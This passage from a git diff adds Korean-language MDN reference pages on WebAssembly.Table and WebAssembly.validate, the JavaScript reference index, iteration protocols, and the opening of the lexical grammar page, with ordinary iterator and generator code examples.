+.then(function(obj) {
+  console.log(tbl.length);
+  console.log(tbl.get(0)());
+  console.log(tbl.get(1)());
+});</pre>
+
+<p>액세서의 끝 부분에 두 번째 함수 호출 연산자를 포함시켜 실제로 참조 된 함수를 호출하고 그 안에 저장된 값을 기록해야합니다 (예 : <code>get(0)</code> 대신 <code>get(0)()</code>).</p>
+
+<p>이 예제는 자바 스크립트에서 테이블을 만들고 액세스하고 있지만 wasm 인스턴스 내부에서도 같은 테이블을 볼 수 있고 호출 할 수 있음을 보여줍니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html
new file mode 100644
index 0000000000..a5ea4850e5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html
@@ -0,0 +1,75 @@
+---
+title: WebAssembly.validate()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.validate()</code> </strong>함수는 바이트가 유효한 wasm 모듈을 형성하는지 (<code>true</code>) 또는 생성하지 않는지 (<code>false</code>)를 반환하여 WebAssembly 바이너리 코드의 지정된 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed array</a>의 유효성을 검사합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntax">WebAssembly.validate(bufferSource);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><em>bufferSource</em></code></dt>
+ <dd>유효성을 검사 할 WebAssembly 바이너리 코드가 들어있는 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>bufferSource</code>가 유효한 wasm 코드 (<code>true</code>)인지 아닌지 (<code>false</code>)를 지정하는 부울입니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p><code>bufferSource</code>가 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed array</a>이나 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>가 아닌 경우 {{jsxref ( "TypeError")}}가 발생합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (validate.html <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/validate.html">source code</a> 참조 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/validate.html">see it live</a>)는 .wasm 모듈을 가져 와서 형식화 된 배열로 변환합니다. 그런 다음 <code>validate()</code> 메서드를 사용하여 모듈이 유효한지 확인합니다.</p>
+
+<pre class="brush: js">fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(function(bytes) {
+  var valid = WebAssembly.validate(bytes);
+  console.log("The given bytes are "
+    + (valid ? "" : "not ") + "a valid wasm module");
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyvalidate', 'validate()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.validate")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/index.html b/files/ko/web/javascript/reference/index.html
new file mode 100644
index 0000000000..c7d883f2b1
--- /dev/null
+++ b/files/ko/web/javascript/reference/index.html
@@ -0,0 +1,48 @@
+---
+title: JavaScript 참고자료
+slug: Web/JavaScript/Reference
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference
+---
+<div>{{JsSidebar}}</div>
+
+<p>MDN 내 JavaScript 절의 이 부분은 JavaScript 언어에 관한 정보 저장소(facts repository)로 쓸 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/About">이 참고서에 관하여</a>를 더 읽어보세요.</p>
+
+<h2 id="전역_객체들">전역 객체들</h2>
+
+<p>이 장은 모든 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects">JavaScript 표준 내장 객체</a>를, 메서드 및 속성(property)을 위주로 문서화합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects', '항목별_표준_객체')}}</div>
+
+<h2 id="문">문</h2>
+
+<p>이 장은 모든 <a href="/ko/docs/Web/JavaScript/Reference/Statements" title="JavaScript statements and declarations">JavaScript 문 및 선언</a>을 문서화합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Statements', '항목별_문_및_선언')}}</div>
+
+<h2 id="표현식_및_연산자">표현식 및 연산자</h2>
+
+<p>이 장은 모든 <a href="/ko/docs/Web/JavaScript/Reference/Operators" title="JavaScript expressions and operators">JavaScript 표현식 및 연산자</a>를 문서화합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Operators', '항목별_식_및_연산자')}}</div>
+
+<h2 id="함수">함수</h2>
+
+<p>이 장은 응용 프로그램을 개발하기 위해 <a href="/ko/docs/Web/JavaScript/Reference/Functions">JavaScript 함수</a>로 작업하는 법을 문서화합니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션" title="Arrow functions">화살표 함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="Default parameters">기본 매개변수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="Rest parameters">나머지 매개변수</a></li>
+</ul>
+
+<h2 id="추가_참고_페이지">추가 참고 페이지</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar" title="Lexical grammar">어휘 문법</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Data_structures" title="Data types and data structures">데이터 형 및 데이터 구조</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="Strict mode">엄격 모드</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features" title="Deprecated features">사라진 기능</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/iteration_protocols/index.html b/files/ko/web/javascript/reference/iteration_protocols/index.html
new file mode 100644
index 0000000000..bddc56a50f
--- /dev/null
+++ b/files/ko/web/javascript/reference/iteration_protocols/index.html
@@ -0,0 +1,394 @@
+---
+title: Iteration protocols
+slug: Web/JavaScript/Reference/Iteration_protocols
+translation_of: Web/JavaScript/Reference/Iteration_protocols
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>ECMAScript 2015 (ES6)에는 새로운 문법이나 built-in 뿐만이 아니라, protocols(표현법들)도 추가되었습니다. 이 protocol 은 일정 규칙만 충족한다면 어떠한 객체에 의해서도 구현될 수 있습니다.</p>
+
+<p>2개의 protocol이 있습니다 : <a href="#iterable">iterable protocol</a> 과 <a href="#iterator">iterator protocol</a>.</p>
+
+<h2 id="iterable" name="iterable">The iterable protocol</h2>
+
+<p><strong>iterable</strong> protocol 은 JavaScript 객체들이, 예를 들어 {{jsxref("Statements/for...of", "for..of")}} 구조에서 어떠한 value 들이 loop 되는 것과 같은 iteration 동작을 정의하거나 사용자 정의하는 것을 허용합니다. 다른 type 들({{jsxref("Object")}} 와 같은)이 그렇지 않은 반면에, 어떤 built-in type 들은 {{jsxref("Array")}} 또는 {{jsxref("Map")}} 과 같은 default iteration 동작으로 <a href="#Builtin_iterables">built-in iterables</a> 입니다.</p>
+
+<p><strong>iterable </strong>하기 위해서 object는 <strong>@@iterator</strong> 메소드를 구현해야 합니다. 이것은 object (또는 <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype chain</a> 의 오브젝트 중 하나) 가 <code>{{jsxref("Symbol.iterator")}} </code>key 의 속성을 가져야 한다는 것을 의미합니다 :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[Symbol.iterator]</code></td>
+   <td>object를 반환하는, arguments 없는 function. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterator protocol</a> 을 따른다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>어떠한 객체가 반복(Iterate)되어야 한다면 이 객체의 <code>@@iterator</code> 메소드가 인수없이 호출되고, 반환된 <strong>iterator</strong>는 반복을 통해서 획득할 값들을 얻을 때 사용됩니다.</p>
+
+<h2 id="iterator" name="iterator">The iterator protocol</h2>
+
+<p><strong>iterator </strong>protocol 은 value( finite 또는 infinite) 들의 sequence 를 만드는 표준 방법을 정의합니다. </p>
+
+<p>객체가 <code><strong>next()</strong></code> 메소드를 가지고 있고, 아래의 규칙에 따라 구현되었다면 그 객체는 iterator이다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Value</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>
+    <p>아래 2개의 속성들을 가진 object 를 반환하는 arguments 없는 함수 :</p>
+
+    <ul>
+     <li><code>done</code> (boolean)
+
+      <ul>
+       <li>Iterator(반복자)가 마지막 반복 작업을 마쳤을 경우 <code>true</code>. 만약 iterator(반복자)에 <em>return 값</em>이 있다면 <code>value</code>의 값으로 지정된다. 반환 값에 대한 설명은 <a href="http://www.2ality.com/2013/06/iterators-generators.html#generators-as-threads">여기</a>.</li>
+       <li>Iterator(반복자)의 작업이 남아있을 경우 <code>false</code>. Iterator(반복자)에 <code>done</code> 프로퍼티 자체를 특정짓지 않은 것과 동일하다.</li>
+      </ul>
+     </li>
+     <li><code>value</code> - Iterator(반복자)으로부터 반환되는 모든 자바스크립트 값이며 <code>done</code>이 <code>true</code>일 경우 생략될 수 있다.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>몇몇 iterator들은 iterable(반복 가능)이다:</p>
+
+<pre class="brush: js">var someArray = [1, 5, 7];
+var someArrayEntries = someArray.entries();
+
+someArrayEntries.toString();           // "[object Array Iterator]"
+someArrayEntries === someArrayEntries[Symbol.iterator]();    // true
+</pre>
+
+<h2 id="Iteration_protocols_사용_예시"> Iteration protocols 사용 예시</h2>
+
+<p>{{jsxref("String")}} 은 built-in iterable 객체의 한 예시입니다.</p>
+
+<pre class="brush: js">var someString = "hi";
+typeof someString[Symbol.iterator];          // "function"
+</pre>
+
+<p><code>String</code> 의 기본 iterator 는 string 의 문자를 하나씩 반환합니다.</p>
+
+<pre class="brush: js">var iterator = someString[Symbol.iterator]();
+iterator + "";                               // "[object String Iterator]"
+
+iterator.next();                             // { value: "h", done: false }
+iterator.next();                             // { value: "i", done: false }
+iterator.next();                             // { value: undefined, done: true }</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>와 같은 특정 내장 구조(built-in constructs)들은 실제로는 동일한 iteration protocol을 사용한다:</p>
+
+<pre class="brush: js">[...someString]                              // ["h", "i"]</pre>
+
+<p>사용자만의 <code>@@iterator</code>를 특정함으로써 원하는 반복 행위(iteration behavior)를 설정할 수 있다:</p>
+
+<pre class="brush: js">var someString = new String("hi");          // need to construct a String object explicitly to avoid auto-boxing
+
+someString[Symbol.iterator] = function() {
+  return { // this is the iterator object, returning a single element, the string "bye"
+    next: function() {
+      if (this._first) {
+        this._first = false;
+        return { value: "bye", done: false };
+      } else {
+        return { done: true };
+      }
+    },
+    _first: true
+  };
+};
+</pre>
+
+<p>재설정된 <code>@@iterator</code>가 어떻게 내장 구조(built-in constructs)의 반복 행위에 영향을 주는지 참고:</p>
+
+<pre class="brush: js">[...someString];                              // ["bye"]
+someString + "";                              // "hi"
+</pre>
+
+<h2 id="Iterable_예시">Iterable 예시</h2>
+
+<h3 id="내장_iterables">내장 iterables</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} and {{jsxref("Set")}} 는 모두 내장 iterable이다. 이 객체들의 프로토타입 객체들은 모두 <code>@@</code><code>iterator</code> 메소드를 가지고 있기 때문이다.</p>
+
+<h3 id="사용자_정의된_iterables">사용자 정의된 iterables</h3>
+
+<p>이렇게 고유한 iterables 를 만들 수 있다.</p>
+
+<pre class="brush: js">var myIterable = {};
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="Iterable을_허용하는_내장_API들">Iterable을 허용하는 내장 API들</h3>
+
+<p>Iterable을 허용하는 많은 내장 API들이 있다. 예를 들어: {{jsxref("Map", "Map([iterable])")}}, {{jsxref("WeakMap", "WeakMap([iterable])")}}, {{jsxref("Set", "Set([iterable])")}} and {{jsxref("WeakSet", "WeakSet([iterable])")}}이 그것이다:</p>
+
+<pre class="brush: js">var myObj = {};
+new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2);               // "b"
+new WeakMap([[{},"a"],[myObj,"b"],[{},"c"]]).get(myObj); // "b"
+new Set([1, 2, 3]).has(3);                               // true
+new Set("123").has("2");                                 // true
+new WeakSet(function*() {
+    yield {};
+    yield myObj;
+    yield {};
+}()).has(myObj);                                         // true
+</pre>
+
+<p>뿐만 아니라 {{jsxref("Promise.all", "Promise.all(iterable)")}}, {{jsxref("Promise.race", "Promise.race(iterable)")}}와 {{jsxref("Array.from", "Array.from()")}} 또한 해당된다.</p>
+
+<h3 id="Iterable과_함께_사용되는_문법">Iterable과 함께 사용되는 문법</h3>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code> loops, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a>와</code> <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructuring assignment</a>는 iterable과 함께 사용되는 구문(statements)과 표현(expressions)이다.</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"]; // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"];
+}
+
+gen().next(); // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"]);
+a // "a"
+
+</pre>
+
+<h3 id="잘_정의되지_못한_iterables">잘 정의되지 못한 iterables</h3>
+
+<p>만약 Iterable의 <code>@@iterator</code> 메소드가 iterator 객체를 반환하지 않는다면 그것은 잘 정의되지 못한 iterable이라고 할 수 있다. 이러한 iterable을 사용하는 것은 런타임 예외나 예상치 못한 결과를 불러올 수 있다:</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Iterator_예시">Iterator 예시</h2>
+
+<h3 id="간단한_iterator">간단한 iterator</h3>
+
+<pre class="brush: js">function makeIterator(array){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           return nextIndex &lt; array.length ?
+               {value: array[nextIndex++], done: false} :
+               {done: true};
+       }
+    };
+}
+
+var it = makeIterator(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true
+</pre>
+
+<h3 id="무한_iterator">무한 iterator</h3>
+
+<pre class="brush: js">function idMaker(){
+    var index = 0;
+
+    return {
+       next: function(){
+           return {value: index++, done: false};
+       }
+    };
+}
+
+var it = idMaker();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="Generator와_함께_사용된_iterator">Generator와 함께 사용된 iterator</h3>
+
+<pre class="brush: js">function* makeSimpleGenerator(array){
+    var nextIndex = 0;
+
+    while(nextIndex &lt; array.length){
+        yield array[nextIndex++];
+    }
+}
+
+var gen = makeSimpleGenerator(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done);  // true
+
+
+
+function* idMaker(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+// ...
+</pre>
+
+<h2 id="generator_object_는_iterator_또는_iterable_인가">generator object 는 iterator 또는 iterable 인가?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator">generator object</a> 는 iterator 이면서 iterable 입니다.</p>
+
+<pre class="brush: js">var aGeneratorObject = function*(){
+    yield 1;
+    yield 2;
+    yield 3;
+}();
+typeof aGeneratorObject.next;
+// "function", 이것은 next 메서드를 가지고 있기 때문에 iterator입니다.
+typeof aGeneratorObject[Symbol.iterator];
+// "function", 이것은 @@iterator 메서드를 가지고 있기 때문에 iterable입니다.
+aGeneratorObject[Symbol.iterator]() === aGeneratorObject;
+// true, 이 Object의 @@iterator 메서드는 자기자신(iterator)을 리턴하는 것으로 보아 잘 정의된 iterable이라고 할 수 있습니다.
+[...aGeneratorObject];
+// [1, 2, 3]
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<h3 id="IteratorResult_object_returned_instead_of_throwing"><code>IteratorResult</code> object returned instead of throwing</h3>
+
+<p>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h3 id="Iterator_property_and_iterator_symbol"><code>Iterator</code> property and <code>@@iterator</code> symbol</h3>
+
+<p>From Gecko 17 (Firefox 17 / Thunderbird 17 / SeaMonkey 2.14) to Gecko 26 (Firefox 26 / Thunderbird 26 / SeaMonkey 2.23 / Firefox OS 1.2) the <code>iterator</code> property was used (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=907077">bug 907077</a>), and from Gecko 27 to Gecko 35 the <code>"@@iterator"</code> placeholder was used. In Gecko 36 (Firefox 36 / Thunderbird 36 / SeaMonkey 2.33), the <code>@@iterator</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">symbol</a> got implemented (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=918828">bug 918828</a>).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>ES6 제너레이터에 대한 더 상세한 정보는 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">the function*() documentation</a> 를 참조하시기 바랍니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/lexical_grammar/index.html b/files/ko/web/javascript/reference/lexical_grammar/index.html
new file mode 100644
index 0000000000..74e4e63788
--- /dev/null
+++ b/files/ko/web/javascript/reference/lexical_grammar/index.html
@@ -0,0 +1,657 @@
+---
+title: 어휘 문법
+slug: Web/JavaScript/Reference/Lexical_grammar
+tags:
+  - JavaScript
+  - Keyword
+  - Lexical Grammar
+  - 문법
+translation_of: Web/JavaScript/Reference/Lexical_grammar
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>이 페이지는 JavaScript의 어휘 문법(lexical grammar)을 설명합니다. ECMAScript 소스 본문은 왼쪽에서 오른쪽 방향으로 분석되고 토큰, 제어문자, 줄바꿈, 주석, 또는 공백으로 구성되는 입력 요소 시퀀스로 바뀝니다. 또한 ECMAScript는 특별한 키워드와 리터럴을 정의하고 있으며 명령문 끝에 자동으로 세미콜론을 추가하는 규칙이 있습니다.</p>
+
+<h2 id="제어_문자">제어 문자</h2>
+
+<p>제어 문자는 눈에 보이지 않지만 스크립트 소스 본문 해석을 제어하는 데 사용됩니다.</p>
+
+<table class="standard-table">
+ <caption>유니코드 형식 제어 문자</caption>
+ <tbody>
+  <tr>
+   <th>코드 포인트</th>
+   <th>이름</th>
+   <th>축약형</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td><code>U+200C</code></td>
+   <td>Zero width non-joiner</td>
+   <td>&lt;ZWNJ&gt;</td>
+   <td>
+    <p>특정 언어에서 문자들이 연결선으로 묶이지 않게 하기 위해 문자 사이에 위치한다(<a href="http://en.wikipedia.org/wiki/Zero-width_non-joiner">Wikipedia</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>U+200D</code></td>
+   <td>Zero width joiner</td>
+   <td>&lt;ZWJ&gt;</td>
+   <td>
+    <p>특정 언어에서, 보통은 연결되지 않는 문자이나 해당 문자를 연결된 형태로 그리기 위해서(to be rendered) 사용하며 문자 사이에 위치한다(<a href="http://en.wikipedia.org/wiki/Zero-width_joiner">Wikipedia</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>U+FEFF</code></td>
+   <td>Byte order mark</td>
+   <td>&lt;BOM&gt;</td>
+   <td>
+    <p>스크립트 맨 앞에 두어 스크립트 본문의 byte order와 유니코드를 표시하는 데에 사용한다.(<a href="http://en.wikipedia.org/wiki/Byte_order_mark">Wikipedia</a>).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="공백">공백</h2>
+
+<p>공백 문자는 소스 본문을 읽기 좋게 만들고 토큰을 구분합니다. 이 공백 문자들은 보통 코드의 기능에 필요한 것은 아닙니다. 최소화 도구(<a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Minification tools</a>)는 종종 전송해야하는 데이터 크기를 줄이기 위해서 공백을 제거합니다.</p>
+
+<table class="standard-table">
+ <caption>공백 문자</caption>
+ <tbody>
+  <tr>
+   <th>코드 포인트</th>
+   <th>이름</th>
+   <th>축약형</th>
+   <th>설명</th>
+   <th>이스케이프 시퀀스</th>
+  </tr>
+  <tr>
+   <td>U+0009</td>
+   <td>Character tabulation</td>
+   <td>&lt;HT&gt;</td>
+   <td>Horizontal tabulation</td>
+   <td>\t</td>
+  </tr>
+  <tr>
+   <td>U+000B</td>
+   <td>Line tabulation</td>
+   <td>&lt;VT&gt;</td>
+   <td>Vertical tabulation</td>
+   <td>\v</td>
+  </tr>
+  <tr>
+   <td>U+000C</td>
+   <td>Form feed</td>
+   <td>&lt;FF&gt;</td>
+   <td>Page breaking control character (<a href="http://en.wikipedia.org/wiki/Page_break#Form_feed">Wikipedia</a>).</td>
+   <td>\f</td>
+  </tr>
+  <tr>
+   <td>U+0020</td>
+   <td>Space</td>
+   <td>&lt;SP&gt;</td>
+   <td>Normal space</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+00A0</td>
+   <td>No-break space</td>
+   <td>&lt;NBSP&gt;</td>
+   <td>Normal space, but no point at which a line may break</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Others</td>
+   <td>Other Unicode space characters</td>
+   <td>&lt;USP&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Space_%28punctuation%29#Spaces_in_Unicode">Spaces in Unicode on Wikipedia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개행_문자">개행 문자</h2>
+
+<p>공백문자와 더불어, 개행 문자는 소스 본문의 가독성을 향상시킵니다. 하지만, 몇몇 상황에서 개행 문자는 코드 내부에 숨겨지기 때문에 자바스크립트 코드 실행에 영향을 미칩니다. 개행 문자는 자동 새미콜론 삽입(<a href="#Automatic_semicolon_insertion">automatic semicolon insertion</a>) 규칙에도 영향을 줍니다. 개행 문자는 표준 표현방식(<a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">regular expressions</a>)의 클래스인 \s로 매치됩니다.</p>
+
+<p>아래의 유니코드 문자만이 ECMAScript에서 라인 종결자로 다뤄지며, 라인을 바꾸는 다른 문자들은 공백으로 생각하시면 됩니다(예를 들어, Next Line, NEL, U+0085는 공백으로 간주).</p>
+
+<table class="standard-table">
+ <caption>개행 문자</caption>
+ <tbody>
+  <tr>
+   <th>코드 포인트</th>
+   <th>이름</th>
+   <th>축약형</th>
+   <th>설명</th>
+   <th>이스케이프 시퀀스</th>
+  </tr>
+  <tr>
+   <td>U+000A</td>
+   <td>Line Feed</td>
+   <td>&lt;LF&gt;</td>
+   <td>New line character in UNIX systems.</td>
+   <td>\n</td>
+  </tr>
+  <tr>
+   <td>U+000D</td>
+   <td>Carriage Return</td>
+   <td>&lt;CR&gt;</td>
+   <td>New line character in Commodore and early Mac systems.</td>
+   <td>\r</td>
+  </tr>
+  <tr>
+   <td>U+2028</td>
+   <td>Line Separator</td>
+   <td>&lt;LS&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+2029</td>
+   <td>Paragraph Separator</td>
+   <td>&lt;PS&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="주석">주석</h2>
+
+<p>주석은 힌트, 필기, 제안이나 주의할 점들을 자바스크립트 코드에 넣을 때 사용합니다. 이는 더 쉽게 읽고 이해할 수 있게 도와줍니다. 또한 특정 코드가 실행되지 않도록 막아주기도 합니다. 따라서 주석은 유용한 디버깅 도구라고도 할 수 있습니다.</p>
+
